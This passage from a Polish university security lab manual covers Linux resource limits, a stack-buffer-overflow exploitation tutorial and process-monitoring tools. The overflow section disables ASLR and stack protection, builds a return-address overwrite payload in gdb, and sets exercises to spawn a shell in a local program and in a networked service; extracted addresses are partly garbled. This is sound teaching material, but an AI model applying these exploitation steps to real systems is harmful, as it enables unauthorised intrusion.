zasoby odbywa się przez edycję pliku

33 Bezpieczeństwo systemów i usług informatycznych 33 /etc/security/limits.conf. Więcej informacji na temat pliku znaleźć można w podręczniku systemowym pisząc: $man limits.conf Plik zawiera linie postaci: <domain><type><item><value> Gdzie: <domain> nazwa użytkownika nazwa grupy (poprzedzona znak * dla domyślnego użytkownika <type> typ ograniczenia soft lub hard, - dla soft i hard <item> core limits the core file size (KB) data maximum data size (KB) fsize maximum filesize (KB) memlock maximum locked in memory address space (KB) nofile maximum number of open files stack maximum stack size (KB) cpu maximum CPU time (minutes) nproc maximum number of processes as address space limit (KB) maxlogins maximum number of logins for this user except for this with uid=0 axsyslogins maximum number of all logins on system priority the priority to run user process with (negative values boost process priority) msgqueue maximum memory used by POSIX message queues (bytes) (Linux 2.6 and higher) nice maximum nice priority allowed to raise to (Linux and higher) values: [-20,19] rtprio maximum realtime priority allowed for non privileged processes chroot the directory to chroot the user to * soft core 0 root hard core * hard nofile hard nproc soft nproc hard nproc 50 ftp hard nproc - maxlogins soft cpu :700 hard locks 10 Przykład 3-1 Przykład pliku /etc/security/limits.conf 3.4 Zadania Ustawianie i testowanie limitów użycia zasobów z poziomu shell W systemie Linux istnieje możliwość ograniczenia wielkości zasobu przyznawanego procesom [7]. Ograniczeniu podlegać może czas zuzycia procesora, wielkość pamięci zajmowanej przez proces, maksymalnej liczby deskryptorów plików i inne parametry. Z poziomu shella można uzyskiwać informacje o ograniczeniach zasobu za pomocą polecenia ulimit. Zapoznaj się z tym poleceniem w podręczniku man (man 1 bash). Wyświetl na terminalu aktualne wielkości ograniczeń na zasoby: ulimit -a Ustaw z poziomu shell a podane niżej ograniczenia zasobów i napisz zestaw programów / skryptów wytwarzająch sytuację ich przekroczenia. Sytuacja ta ma być wykryta i zasygnalizowana. Należy przeprowadzić testy dla następujących zasobów:

34 Bezpieczeństwo systemów i usług informatycznych 34 RLIMIT_CPU Czas zużycia procesora RLIMIT_DATA Wielkość pamięci zajmowanej przez dane zainicjowane, niezainicjowane i stertę RLIMIT_FSIZE Maksymalna wielkość pliku utworzonego przez proces RLIMIT_NOFILE Maksymalna liczba plików tworzonych przez proces RLIMIT_NPROC Maksymalna liczba procesów tworzonych przez proces Ustawianie i testowanie limitów użycia zasobów z poziomu programu Napisz program test_limit testujący ustawienie limitów zasobów i wytwarzający sytuację ich przekroczenia. Sytuacja ta ma być wykryta i zasygnalizowana. Należy użyć funkcji: int getrlimit(int resource, struct rlimit *rlim) - testowanie limitu zasobu int setrlimit(int resource, const struct rlimit *rlim) - ustawianie limitu zasobu Należy przeprowadzić testy dla następujących zasobów: RLIMIT_CPU Czas zużycia procesora RLIMIT_DATA Wielkość pamięci zajmowanej przez dane zainicjowane, niezainicjowane i stertę RLIMIT_FSIZE Maksymalna wielkość pliku utworzonego przez proces RLIMIT_NOFILE Maksymalna liczba plików tworzonych przez proces RLIMIT_NPROC Maksymalna liczba procesów tworzonych przez proces Ustawianie limitów użycia zasobów dla użytkowników Utwórz nowego użytkownika test i ustanów dla niego ograniczenia dla kilku zasobów poprzez edycję pliku limits.conf. Następnie przetestuj te limity wykorzystując program ulimit.

35 Bezpieczeństwo systemów i usług informatycznych Tworzenie exploita typu przepełnienie stosu 4.1 Wstęp Poprzez wykorzystanie luk w programach niekiedy można przejąć nad nimi kontrolę i spowodować takie ich wykonanie które nie było intencją jego autora. Program taki nosi nazwę exploita. Przejęcie kontroli nad programem najczęściej polega na skłonieniu go do wykonania wywołania systemowego uruchamiającego interpreter poleceń (ang. Shell). Gdy program taki jest własnością użytkownika root i ma ustawiony bit suid otwiera to wrota do systemu. 4.2 Segmenty pamięci procesu, ramka stosu funkcji Program tworzą segmenty pamięci, najważniejsze z nich to: 1. Segment kodu - zawiera kod programu (instrukcje) 2. Segment danych - zawiera zmienne programu 3. Segment sterty - zawiera zmienne przydzielane dynamicznie 4. Segment stosu - zawiera zmienne lokalne funkcji, argumenty i adresy powrotu. Segmenty te wskazywane są przez odpowiednie rejestry procesora co pokazuje poniższy rysunek. 1. Segment kodu - rejestr EIP wskazuje nasępną instrukcję 2. Segment danych - rejestr DS 3. Segment stosu - rejestr ESP EAX AH AL EBX BH BL ECX CH CL EDX ESI EDI EPB ESP DH DL AX - akumulator BX - rejestr danych CX - rejestr pętli DX - rejestr arytmetyczny SI - wskaźnik żródla DI - wskaźnik przeznaczenia BP - wskaźnik bazy SP - wskaźnik stosu EIP EFlags selektory segmentów CS - segment kodu DS - segment danych SS - segment stosu ES - segment dodatkowy FS - segment dodatkowy GS - segment dodatkowy IP - licznik rozkazów PSW - flagi Rys. 2 Rejestry procesora w architekturze IA-32 dla trybu chronionego Rejestry ESP i EBP zawierają informację o położeniu stosu: ESP zawiera adres wierzchołka stosu EBP zawiera adres granicy stosu dla tak zwanej ramki stosu dla funkcji. adresy wysokie stos rosnie w dól stos ramka stosu funkcji main adres powrotu sterta rosnie w górę sterta EBP ESP EBP funkcji main zmienne lokalne funkcji ramka stosu funkcji dane programu adresy niskie kod programu A) Segmenty programu B) Ramka stosu dla funkcji Rys. 3 Segmenty programu i ich położenie w pamięci operacyjnej, ramka stosu

36 Bezpieczeństwo systemów i usług informatycznych 36 W sytuacji gdy wywoływana jest jakaś funkcja na stosie tworzona jest tak zwana ramka stosu dla tej funkcji. Zawiera ona: Parametry wywoływanej funkcji Adres powrotu Zachowaną wartość rejestru EBP Zmienne lokalne Kiedy funkcja kończy działanie to ramka zostaje usunięta ze stosu. Rejestry EBP i ESP wskazują na położenie ramki stosu. Gdy funkcja kończy się procesor musi wiedzieć jaka kolejna instrukcja musi być wykonana. Informację tę zawiera umieszczony na stosie adres powrotu który po zakończeniu działania funkcji umieszczany jest w rejestrze instrukcji EIP. W ten sposób sterowanie powraca do funkcji main. Gdyby udało się zmienić adres powrotu sterowanie mogło by być przekazane w inne miejsce. W nowoczesnych procesorach stosowane są techniki zapobiegające złośliwym programom. Wymienić tu można: DEP - (ang. Data Execution Prevention) oznaczenie danego obszaru jako dane, nie może być wykonany jako kod. ASLR - (ang. Address Space Layout Randomisation) losowa zmiana lokalizacji ładowanych bibliotek. W eksperymentach mechanizmy te powinny być wyłączone co uzyskuje się w następujący sposób: $nano /proc/sys/kernel/randomize_va_space W pliku będzie zapisana wartość 2, należy ja zmienić na Przebieg wywołania i wykonania funkcji, przepełnienie bufora W celu przeprowadzenie eksperymentu z przejęciem kontroli nad działaniem programu tworzymy program jak poniżej: #include <string.h> #include <stdio.h> void overflowed() { printf("%s\n", "Przechwycenie"); } void function(char *str) { char buffer[5]; strcpy(buffer,str); } void main(int argc, char *argv[]) { function(argv[1]); printf("%s\n","wykonanie zwykle"); } Kod 1 Program bufover.c Kompilujemy program jak poniżej: $gcc g fno-stack-protector z execstack o bufover bufover.c Próbujemy wykonać program normalnie: $./overflowtest AAAA Wykonanie zwykle Jak widać pojawia się komunikat sygnalizujący wywołanie funkcji function i standardowe zakończenie programu. Uruchamiamy debugger gdb podając jako parametr nazwę programu.

37 Bezpieczeństwo systemów i usług informatycznych 37 $gdb bufover (gdb) list 4,16 4 void overflowed() { 5 printf("%s\n", "Przechwycenie"); 6 } 7 8 void function(char *str) { 9 char buffer[5]; 10 strcpy(buffer,str); 11 } 12 void main(int argc, char *argv[]) 13 { 14 function(argv[1]); 15 printf("%s\n","wykonanie zwykle"); 16 } Wynik 1 Listowanie programu źródłowego Następnie ustawiamy pułapki w liniach 14,10,11 (gdb)break 14 Breakpoint 1 at 0x : file bufover.c, line 14. (gdb)break 10 Breakpoint 2 at 0x804843a: file bufover.c, line 10. (gdb)break 11 Breakpoint 3 at 0x804844c: file bufover.c, line 11. (gdb)info break Breakpoint 1 at 0x : file bufover.c, line 14. Breakpoint 2 at 0x804843a: file bufover.c, line 10. Breakpoint 3 at 0x804844c: file bufover.c, line 11. Dalej uruchamiamy program z parametrem AAAA (gdb) run AAAA Starting program: /root/lab/bus/bufover AAAA Breakpoint 1, main (argc=2, argv=0xbffff4b4) at bufover.c:14 14 function(argv[1]); Program dochodzi do pułapki na linii 14, funkcja function nie jest jeszcze wykonywana. Wyświetlamy zawartość stosu, jego szczyt wskazuje adres zawarty w rejestrze esp a koniec wskazuje adres zawarty w rejestrze ebp. (gdb) x/16xw $esp 0xbffff400: 0xb7fb33dc 0xbffff420 0x xb7e1c5f7 0xbffff410: 0xb7fb3000 0xb7fb3000 0x xb7e1c5f7 0xbffff420: 0x xbffff4b4 0xbffff4c0 0x xbffff430: 0x x xb7fb3000 0xb7fffc04 (gdb) x/1xw $ebp 0xbffff408: 0x Ramka stosu dla funkcji main wygląda jak poniżej. 0xbffff400: 0xb7fb33dc 0xbffff420 0x Następnie przechodzimy do kolejnej pułapki i wyświetlamy stos przed wykonaniem funkcji strcpy. (gdb) continue Breakpoint 2, function (str=0xbffff65c "AAAA") at overflowtest.c:10 10 strcpy(buffer,str); (gdb)x/16xw $esp 0xbffff3d0: 0x xb7fb3000 0x xb7e1c31a 0xbffff3e0: 0x x xbffff408 0x xbffff3f0: 0xbffff648 0xbffff4b4 0xbffff4c0 0x080484b1 0xbffff400: 0xb7fb33dc 0xbffff420 0x xb7e1c5f7

38 Bezpieczeństwo systemów i usług informatycznych 38 (gdb) x/1xw $ebp 0xbffff3e8: 0xbffff408 Ramka stosu dla funkcji function wygląda jak poniżej. 0xbffff3d0: 0x xb7fb3000 0x xb7e1c31a 0xbffff3e0: 0x x xbffff408 Następnie przeprowadzamy disassemblację funkcji main. Dump of assembler code for function main: 0x f <+0>: lea 0x4(%esp),%ecx 0x <+4>: and $0xfffffff0,%esp 0x <+7>: pushl -0x4(%ecx) 0x <+10>: push %ebp 0x a <+11>: mov %esp,%ebp 0x c <+13>: push %ecx 0x d <+14>: sub $0x4,%esp 0x <+17>: mov %ecx,%eax 0x <+19>: mov 0x4(%eax),%eax 0x <+22>: add $0x4,%eax 0x <+25>: mov (%eax),%eax 0x a <+27>: sub $0xc,%esp 0x d <+30>: push %eax 0x e <+31>: call 0x <function> 0x <+36>: add $0x10,%esp 0x <+39>: sub $0xc,%esp 0x <+42>: push $0x804851e 0x e <+47>: call 0x80482f0 <puts@plt> 0x <+52>: add $0x10,%esp 0x <+55>: nop 0x <+56>: mov -0x4(%ebp),%ecx 0x a <+59>: leave ---Type <return> to continue, or q <return> to quit---b Adres powrotu Funkcji <function> Widać jaki powinien być adres powrotu z funkcji, (następny adres po instrukcji call 0x e <function>). Jest to adres 0x Następnie przechodzimy do kolejnej pułapki i wyświetlamy stos po wykonaniu funkcji strcpy. Breakpoint 3, function (str=0xbffff648 "AAAA") at bufover.c:11 11 } (gdb) x/16xw $esp 0xbffff3d0: 0x xb7fb3000 0x x xbffff3e0: 0x x xbffff408 0x xbffff3f0: 0xbffff648 0xbffff4b4 0xbffff4c0 0x080484b1 0xbffff400: 0xb7fb33dc 0xbffff420 0x xb7e1c5f7 (gdb) c Continuing. Wykonanie zwykle [Inferior 1 (process 2945) exited with code 021] Argument AAAA Adres powrotu W obrazie stosu widzimy skopiowane do tablicy buffer[5] argumenty funkcji czyli ciąg czterech liter AAAA, kod litery A to 41. Widoczny jest także kod powrotu 0x Idea przejęcia kontroli nad programem jest prosta. Wykorzystujemy fakt że funkcja strcpy(char *źródło, char *przeznaczenie) która kopiuje łańcuch źródło do miejsca przeznaczenie nie sprawdza czy bufor przeznaczenie jest wystarczająco duży aby pomieścić łańcuch źródło. Jak wiemy bufor przeznaczenie umieszczony jest w zmiennej char buffer[5]która umieszczona jest na stosie i ma długość 5 bajtów. Jeżeli argument programu będzie dłuższy niż 4 znaki nadpisze on kolejne komórki stosu, a przy odpowiedniej długości także adres powrotu funkcji. Wpisując tam poprzez odpowiedni dobór argumentu wywołania programu, adres funkcji overflowed możemy spowodować jej wykonanie.

39 Bezpieczeństwo systemów i usług informatycznych 39 ramka stosu funkcji main adres powrotu EBP funkcji main char buffer[5] nadpisanie adresu powrotu addr lańcuch parametrów funkcji function ESP overfloved Rys. 4 Nadpisanie adresu powrotu funkcji adresem funkcji overflowed. Adres funkcji overflowed możemy uzyskać przez jej disassemblację co jest pokazane poniżej. (gdb) disass overflowed Dump of assembler code for function overflowed: 0x b <+0>: push %ebp 0x c <+1>: mov %esp,%ebp 0x e <+3>: sub $0x8,%esp 0x <+6>: sub $0xc,%esp 0x <+9>: push $0x x <+14>: call 0x80482f0 <puts@plt> 0x e <+19>: add $0x10,%esp 0x <+22>: nop 0x <+23>: leave 0x <+24>: ret End of assembler dump. Widzimy że adresem funkcji overfloved jest 0x b. Adres ten należy podstawić na stosie w miejsce adresu 0x Wywołanie kontrolowanej awarii programu Spowodowanie wykonania funkcji overfloved polega na odpowiednim doborze parametrów wywołania programu tak aby na stosie w miejscu adresu powrotu 0x znalazł się adres 0x b. Jako że procesory Intel używają porządku bajtów Little Endian gdzie jako pierwsze zapisywane są mniej znaczące bajty. Kolejność bajtów należy więc odwrócić. Uruchamiamy nasz program podając jako parametr 17 liter A. (gdb) run $(perl -e 'print "A" x 17. "\x1b\x84\x04\x08"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/lab/bus/bufover $(perl -e 'print "A" x 17. "\x1b\x84\x04\x08"') Breakpoint 3, function (str=0xbffff600 "") at bufover.c:11 11 } Dalej wyświetlamy zawartość stosu. (gdb) x/20xw $esp 0xbffff3c0: 0x xb7fb3000 0x x xbffff3d0: 0x x x x b 0xbffff3e0: 0xbffff600 0xbffff4a4 0xbffff4b0 0x080484b1 0xbffff3f0: 0xb7fb33dc 0xbffff410 0x xb7e1c5f7 0xbffff400: 0xb7fb3000 0xb7fb3000 0x xb7e1c5f7

40 Bezpieczeństwo systemów i usług informatycznych 40 Widać że pod adresem 0xbffff3d jest umieszczony nowy kod powrotu czyli 0x b. Wznawiamy wykonanie programu. (gdb) c Continuing. Przechwycenie Program received signal SIGSEGV, Segmentation fault. 0xbffff600 in?? () Program wykonał skok do naszej funkcji i cel został osiągnięty. Możemy teraz wykonać program poza debuggerem. root@kali:~/lab/bus#./bufover $(perl -e 'print "A" x 17. "\x1b\x84\x04\x08"')przechwycenie Illegal instruction Jak widać uruchamiając program poza debbugerem także osiągniemy zamierzony cel. 4.5 Zadania: Zadanie 1 Dla danego niżej programu bufshell.c znajdź parametry wywołania by uruchomić shell. #include <string.h> #include <stdio.h> #include <stdlib.h> void overflowed() { system("/bin/sh"); } void function(char *str) { char buffer[5]; strcpy(buffer,str); } void main(int argc, char *argv[]) { function(argv[1]); printf("%s\n","wykonanie zwykle"); } Przykład 4-1 Program bufshell.c Zadanie 2 Napisz program podobny do bufshell.c ale uruchamiany przez sieć jako usługa inetd. Program ma nasłuchiwać na wybranym porcie TCP. Dostań się do portu za pomocą programu telnet i spowoduj jego awarię prowadzącą do uruchomienia shella.

41 Bezpieczeństwo systemów i usług informatycznych 41 5.

42

43 Bezpieczeństwo systemów i usług informatycznych Monitorowanie systemu Sprawne działanie komputera zależy od: Zdolności do sprawności wykonania operacji obliczeniowych procesor Dostępności pamięci operacyjnej Przepustowości systemu wejścia/wyjścia Dostępności pamięci zewnętrzej Gdy którakolwiek z powyższych funkcji zostanie zakłucona, system komputerowy traci zdolność do świadczenia usług. Poniżej omówione zostaną narzędzia przeznaczone do monitorowania wyżej wymienionych zasobów i funkcji. 6.1 Śledzenie procesów Wyświetlanie listy uruchomionych procesów - polecenie ps Polecenie ps pozwala uzyskać informacje o uruchomionych procesach. Występuje w trzech wersjach: 1. UNIX opcje mogą być grupowane i musza być poprzedzone znakiem 2. BSD opcje mogą być grupowane i nie muszą być poprzedzone znakiem - 3. GNU opcje długie, musza być poprzedzone dwoma znakami -- $ps PID TTY TIME CMD 2388 pts/6 00:00:00 bash 2402 pts/6 00:00:00 ps Kolumny zawierają: PID - PID procesu TTY Identyfikator terminala na którym proces został uruchomiony TIME - Ilość czasu procesora zużyta przez ten proces CMD - Nazwa pliku z którego utworzono proces Polecenie ps posiada wiele przełączników. Przełączniki dotyczą: Jakie procesy mają być wyświetlane Jakie atrybuty mają być wyświetlane Przykłady: ps - wyświetlane są procesy o tym samym EUID co proces konsoli. ps -ef - wyświetlanie wszystkich procesów w długim formacie. ps -ef - wyświetlanie wszystkich procesów w b. długim formacie. ps -ef grep nazwa - sprawdzanie czy wśród procesów istnieje proces nazwa $ps -ef UID PID PPID C STIME TTY TIME CMD root :12? 00:00:01 /sbin/init root :12? 00:00:00 [kthreadd] root :12? 00:00:00 [ksoftirqd/0] root :12? 00:00:00 [kworker/0:0] root :12? 00:00:00 [kworker/0:0h] Przykład 6-1 Uzyskanie listy wszystkich procesów w systemie Procesy wielowątkowe Polecenie ps nie pokazuje wątków procesu. Aby zaobserwować wątki procesów należy w poleceniu ps użyć opcji L co pokazuje poniższy przykład.

44 Bezpieczeństwo systemów i usług informatycznych 44 $ps elf UID PID PPID LWP C STIME TTY TIME CMD... juka :32? 00:00:13 gnome-terminal juka :32? 00:00:00 gnome-terminal juka :32? 00:00:01 gnome-terminal juka :32? 00:00:00 gnome-terminal Przykład 6-2 Fragment wyników polecenia ps elf wątki procesu PID=2246 są widoczne Widać że w listingu pojawiła się kolumna LWP zawierająca identyfikatory wątków. Są to 2246, 2249, 2250, Uzyskiwanie informacji o procesach monitor systemu W wielu dystrybucjach Linuxa można występuje możliwość inspekcji procesów za pomocą narzędzi graficznych. Może być to występujący w Ubuntu Monitor systemu Przykład 6-3 Uzyskanie listy procesów za pomocą Monitora systemu Klikając prawym klawiszem myszy na wybrany proces można: Zatrzymać proces Wznowić proces Zakończyć proces Zmienić priorytet Uzyskać informacje o segmentach pamięci zajętych przez proces Uzyskać rozszerzone informacje o atrybutach procesu

45 Bezpieczeństwo systemów i usług informatycznych 45 Przykład 6-4 Uzyskanie listy procesów za pomocą Monitora systemu, wybór akcji za pomocą prawego klawisza myszy Przykład 6-5 Atrybuty procesu uzyskane za pomocą monitora systemu

46 Bezpieczeństwo systemów i usług informatycznych Wirtualny system plików /proc Wirtualny system plików proc zawiera podkatalogi odpowiadające pid uruchomionych procesów. Katalog można obejrzeć za pomocą polecenia: ls /proc Przykład 6-6 Zawartość katalogu /proc Widoczne w katalogu proc liczbowe katalogi postaci /proc/[pid] odpowiadają PID wykonywanych aktualnie procesów. Pozostałe katalogi zawierają informacje o stanie systemu. Przykładowo: cpuinfo informacje o procesorach komputera devices - informacje o urządzeniach znakowych i blokowych filesystems - informacje o systemach plików interrupts - informacje o przerwaniach iomem - informacje o segmentach pamięci zajm. przez urządzenia we/wy partitions - informacje o partycjach dyskowych W powyższym przykładzie w katalogu /proc widoczny jest katalog Odpowiada on procesowi o PID=2256. Można wyświetlić jego zawartość za pomocą polecenia:

47 Bezpieczeństwo systemów i usług informatycznych 47 $ls l /proc/2256 dr-xr-xr-x 2 juka juka 0 lut 9 12:11 attr -r juka juka 0 lut 9 12:31 environ dr-x juka juka 0 lut 9 11:32 fd dr-x juka juka 0 lut 9 12:31 fdinfo -r juka juka 0 lut 9 12:31 io -r--r--r-- 1 juka juka 0 lut 9 12:31 limits -rw-r--r-- 1 juka juka 0 lut 9 12:31 loginuid dr-x juka juka 0 lut 9 12:31 map_files -r--r--r-- 1 juka juka 0 lut 9 11:44 maps -rw juka juka 0 lut 9 12:31 mem -r--r--r-- 1 juka juka 0 lut 9 12:31 mountinfo -r--r--r-- 1 juka juka 0 lut 9 12:31 mounts -r juka juka 0 lut 9 12:31 mountstats dr-xr-xr-x 5 juka juka 0 lut 9 12:31 net dr-x--x--x 2 juka juka 0 lut 9 12:31 ns -r--r--r-- 1 juka juka 0 lut 9 12:31 pagemap -r--r--r-- 1 juka juka 0 lut 9 12:31 personality -rw-r--r-- 1 juka juka 0 lut 9 12:31 projid_map -rw-r--r-- 1 juka juka 0 lut 9 12:31 sched -r--r--r-- 1 juka juka 0 lut 9 12:31 schedstat -r--r--r-- 1 juka juka 0 lut 9 12:31 sessionid -rw-r--r-- 1 juka juka 0 lut 9 12:31 setgroups -r--r--r-- 1 juka juka 0 lut 9 12:31 stack -r--r--r-- 1 juka juka 0 lut 9 11:35 stat -r--r--r-- 1 juka juka 0 lut 9 12:11 statm -r--r--r-- 1 juka juka 0 lut 9 11:35 status -r--r--r-- 1 juka juka 0 lut 9 12:31 syscall dr-xr-xr-x 3 juka juka 0 lut 9 12:31 task -r--r--r-- 1 juka juka 0 lut 9 12:31 timers... Przykład 6-7 Zawartość katalogu /proc/2256 zawierającego dane o procesie PID=2256 Katalog zawiera zarówno pliki jak i inne katalogi. Pliki (zauważmy że mają długość 0) zawierają różnorodne informacje o procesie. Dostęp do tych informacji uzyskać można za pomocą standardowych narzędzi systemu służących do wyświetlania zawartości plików np. polecenia cat, less, itp. Przykład wyświetlenia zawartości pliku /proc/2256/status podano poniżej. cat /proc/2256/status Name: bash State: S (sleeping) Tgid: 2256 Ngid: 0 Pid: 2256 PPid: 2246 TracerPid: 0 Uid: Gid: FDSize: 256 Wyjaśnienie znaczenia plików i podkatalogów folderu /proc uzyskujemy z rozdziału 5 podręcznika man $man 5 proc /proc/[pid]/cmdline /proc/[pid]/io /proc/[pid]/status /proc/[pid]/limits /proc/[pid]/sched Nazwę polecenia za pomocą którego utworzono proces Statystyki operacji wejścia wyjścia Status procesu, wykorzystanie pamięci Limity zasobów Informacje dotyczące szeregowania procesu Tab. 6-1 Znaczenie niektórych plików wirtualnego katalogu /proc/[pid]/

48 Bezpieczeństwo systemów i usług informatycznych 48 $cat /proc/2256/io rchar: wchar: syscr: 7625 syscw: 4569 read_bytes: write_bytes: cancelled_write_bytes: 0 Przykład 6-8 Testowanie liczby bajtów czytanych i pisanych przez proces /proc/[pid]/fdinfo/ /proc/[pid]/fd/ /proc/[pid]/net/ Informacje o plikach które proces otworzył Deskryptory plików które proces otworzył Informacje dotyczące sieci Tab. 6-2 Znaczenie niektórych katalogów wirtualnego katalogu /proc/[pid]/ cat /proc/2256/fdinfo/1 pos: 0 flags: Przykład 6-9 Uzyskanie informacji o pliku z katalogu /proc/2256/fdinfo/ Narzędzie pidstat Narzędzie pidstat umożliwia śledzenie w czasie aktywności określonego procesu. Narzędzie uruchamia się jak poniżej: pidstat p pid_procesu interwał pidstat C nazwaid_procesu interwał Interwał określa częstotliwość próbkowania. Program może być uruchomiony z różnymi opcjami pokazującymi wykorzystanie pamięci, stosu, itp. Przykład dany jest poniżej. $pidstat C szeregow1 2 Linux generic (Ubol) _x86_64_ (4 CPU) 14:05:30 UID PID %usr %system %guest %CPU CPU Command 14:05: ,50 0,00 0,00 99,50 3 szeregow1 14:05:32 UID PID %usr %system %guest %CPU CPU Command 14:05: ,00 0,00 0,00 100,00 3 szeregow1 Przykład 6-10 Monitorowanie w czasie procesu szeregow1 za pomoca narzędzia pidstat Parametr guest określa wykorzystanie maszyny wirtualnej Polecenia strace śledzenie wywołań systemowych Polecenie systemowe jest fragmentem kodu w którym proces aplikacyjny zwraca się do jądra systemu ze zleceniem wykonania określonej akcji. Polecenie strace umożliwia ich śledzenie. Aby zbadać jakie wywołania systemowe wykonuje dany program, polecenie strace wywołać można w następujący sposób: $strace program [argumenty] W poniższym przykładzie pokazano wywołania systemowe polecenia: cat ps1.txt Polecenie to testuje zawartość pliku ps1.txt jak pokazano poniżej. $ cat ps1.txt PID TTY TIME CMD 2388 pts/6 00:00:00 bash 2402 pts/6 00:00:00 ps

49 Bezpieczeństwo systemów i usług informatycznych 49 Aby zbadać jakie wywołania systemowe w kolejności są wykonywane piszemy polecenie: $ strace cat ps1.txt Wyniki pokazuje poniższy przykład. Przykład 6-11 Działanie polecenia strace cat plik Polecenia ltrace śledzenie wywołań bibliotek Polecenie ltrace pokazuje wywołania bibliotek współdzielonych (ang. shared library). Nie pozwala natomiast na śledzenie dostępu do bibliotek statycznych (dołączanych do kodu programu). Postać polecenia ltrace opcje polecenie [argumenty] Przykład polecenia ltrace: $ltrace ls szeregow1.c dany jest poniżej.

50 Bezpieczeństwo systemów i usług informatycznych 50 Przykład 6-12Przykład polecenia ltrace ls szeregow1.c Czas wykonania polecenia Czas wykonania polecenia można uzyskać za pomocą polecenia: time polecenie. Przykładowo aby otrzymać dane o czasie wykonania polecenia ps piszemy: $time ps real 0m0.011s user 0m0.001s sys 0m0.011s real Czas trwania od rozpoczęcia do zakończenia procesu wliczając czas zużyty na wykonanie innych działań sys czas systemowy zużyty na wykonanie procesu w trybie jądra user - czas zużyty na wykonanie procesu w trybie użytkownika Uzyskiwanie danych o plikach otwartych przez procesy Pliki są jednym z podstawowych abstrakcji wykorzystywanych w systemie Linux. Uzyskanie informacji o otwartych plikach następuje przez polecenie lsof (list of open files). Opis polecenia uzyskać można z podręcznika man za pomoca polecenia: $man 1 lsof Polecenie to generuje dużą ilość danych w których trudno się rozeznać. Ilość danych można ograniczyć przez: Użycie odpowiednich parametrów polecenia podających informacje tylko dla określonego procesu, pliku, katalogu, użytkownika itp. Filtrowanie wyjścia według określonego wzorca: lsof grep wzorzec lsof p PID lsof u user lsof plik Listowanie plików otwartych przez proces o danym PID Listowanie plików otwartych przez procesy użytkownika user Listowanie użytkowników pliku

51 Bezpieczeństwo systemów i usług informatycznych 51 Przykład uzyskanie listy otwartych plików dla procesu o PID=2256 podano poniżej. $lsof p 2256 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME bash 2256 juka cwd DIR 8, /home/juka bash 2256 juka rtd DIR 8, / bash 2256 juka txt REG 8, /bin/bash bash 2256 juka mem REG 8, /lib/x86_64-so bash 2256 juka mem REG 8, /lib/x86_64-.. bash 2256 juka 0u CHR 136,0 0t0 3 /dev/pts/0 bash 2256 juka 1u CHR 136,0 0t0 3 /dev/pts/0 bash 2256 juka 2u CHR 136,0 0t0 3 /dev/pts/0 bash 2256 juka 255u CHR 136,0 0t0 3 /dev/pts/0 Przykład 6-13 Uzyskanie listy otwartych plików dla określonego procesu COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME Nazwa procesu który otworzył plik PID procesu który otworzył plik Nazwa użytkownika który proces utworzył Uchwyt lub przeznaczenie pliku: cwd katalog bieżący (current working directory) mem plik odwzorowany w pamięci (memory) txt - kod lub dane procesu (text) pd katalog macierzysty (parent) rtd katalog główny (root) Typ pliku: DIR directory REG regularny CHR Urządzenie blokowe FIFO kolejka FIFO sock gniazdko LINK link... Główny i dodatkowy numer urządzenia na którym przechowywany jest plik Wielkość pliku Numer I-węzła Nazwa pliku Tab. 6-3 Znaczenie pól polecenia lsof

52 Bezpieczeństwo systemów i usług informatycznych Pomiar obciążenia procesorów systemu Narzędzie uptime Średnie obciążenie procesora i inne dane o pracy systemu uzyskać można za pomocą polecenia uptime. Podawany jest: aktualny czas jak długo pracuje komputer ilu użytkowników jest zalogowanych obciążenie LA w ciągu ostatniej minuty obciążenie LA w ciągu ostatnich pięciu minut obciążenie LA w ciągu ostatnich piętnastu minut Obciążenie LA Load Average można rozumieć jako średnią ilość procesów, które oczekują na wykonanie w jednostce czasu. W sytuacji, gdy mamy jeden procesor z jednym rdzeniem, to graniczną wartością, aby procesy działały bez oczekiwania jest Jeśli wartość ta się zwiększa, to procesor zostaje przeciążony (ang. overloaded). W przypadku, gdy procesor posiada cztery rdzenie, to wartość ta wynosi $uptime 19:22:07 up 8:09, 4 users, load average: 0,00, 0,01, 0, Polecenie top Pozwala uzyskać informacje o procesach sortując je według czasu zużycia procesora. Lista odświeżana jest c0 5 sekund. Poniżej podano przykład wywołania polecenia top. $top PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1831 juka m 16m S :07.64 gnome-system- 951 root m 10m S :41.70 Xorg 1 root S :00.58 init Przykład 6-1 Użycie polecenia top Symbol Opis PID Identyfikator procesu USER Nazwa efektywnego użytkownika PR Priorytet procesu NI Wartość parametru nice VIRT Całkowita wielkość pamięci wirtualnej użytej przez proces RES Wielkość pamięci rezydentnej (nie podlegającej wymianie) w kb SHR Wielkość obszaru pamięci dzielonej użytej przez proces S Stan procesu: R running, D uninteruptible running, S sleeping, T traced or stoped, Z - zombie %CPU Użycie czasu procesora w % %MEM Użycie pamięci fizycznej w % TIME+ Skumulowany czas procesora zużyty od startu procesu COMMAND Nazwa procesu Tab. 6-4 Znaczenie parametró polecenia top

53 Bezpieczeństwo systemów i usług informatycznych Monitor systemu Do badania obciążenia systemu można użyć także pracującego w trybie graficznym monitora systemu. 6-1 Wykorzystanie monitora systemu do badania obciążenia procesorów Kontrola priorytetów procesów Priorytet procesu jest informacją dla systemu operacyjnego ja ma przydzielać procesowi czas procesora. Priorytety procesów można obejrzeć za pomocą polecenia: $ ps l $ps -l F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD 0 S wait pts/3 00:00:00 bash 0 R pts/3 00:00:00 ps Przykład 6-14 Wyświetlenie listy procesów z priorytetami Wygodniej zrobić to za pomocą polecenia top co pokazano poniżej. $top PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1831 juka m 16m S :07.64 gnome-system- 951 root m 10m S :41.70 Xorg 1 root S :00.58 init Przykład 6-2 Użycie polecenia top do wyświetlenia priorytetów procesów W systemie Linux szeregowanie zależy tak od priorytetu (0-najwyższy, 139 najniższy) jak i od parametru niceval. Funkcja nice zmienia priorytet procesu poprzez zmianę parametru niceval. Dodatnia wartość parametru oznacza zmniejszenie priorytetu procesu, natomiast ujemna zwiększenie. Tylko użytkownik root może ustawiać wartości ujemne. Ekran

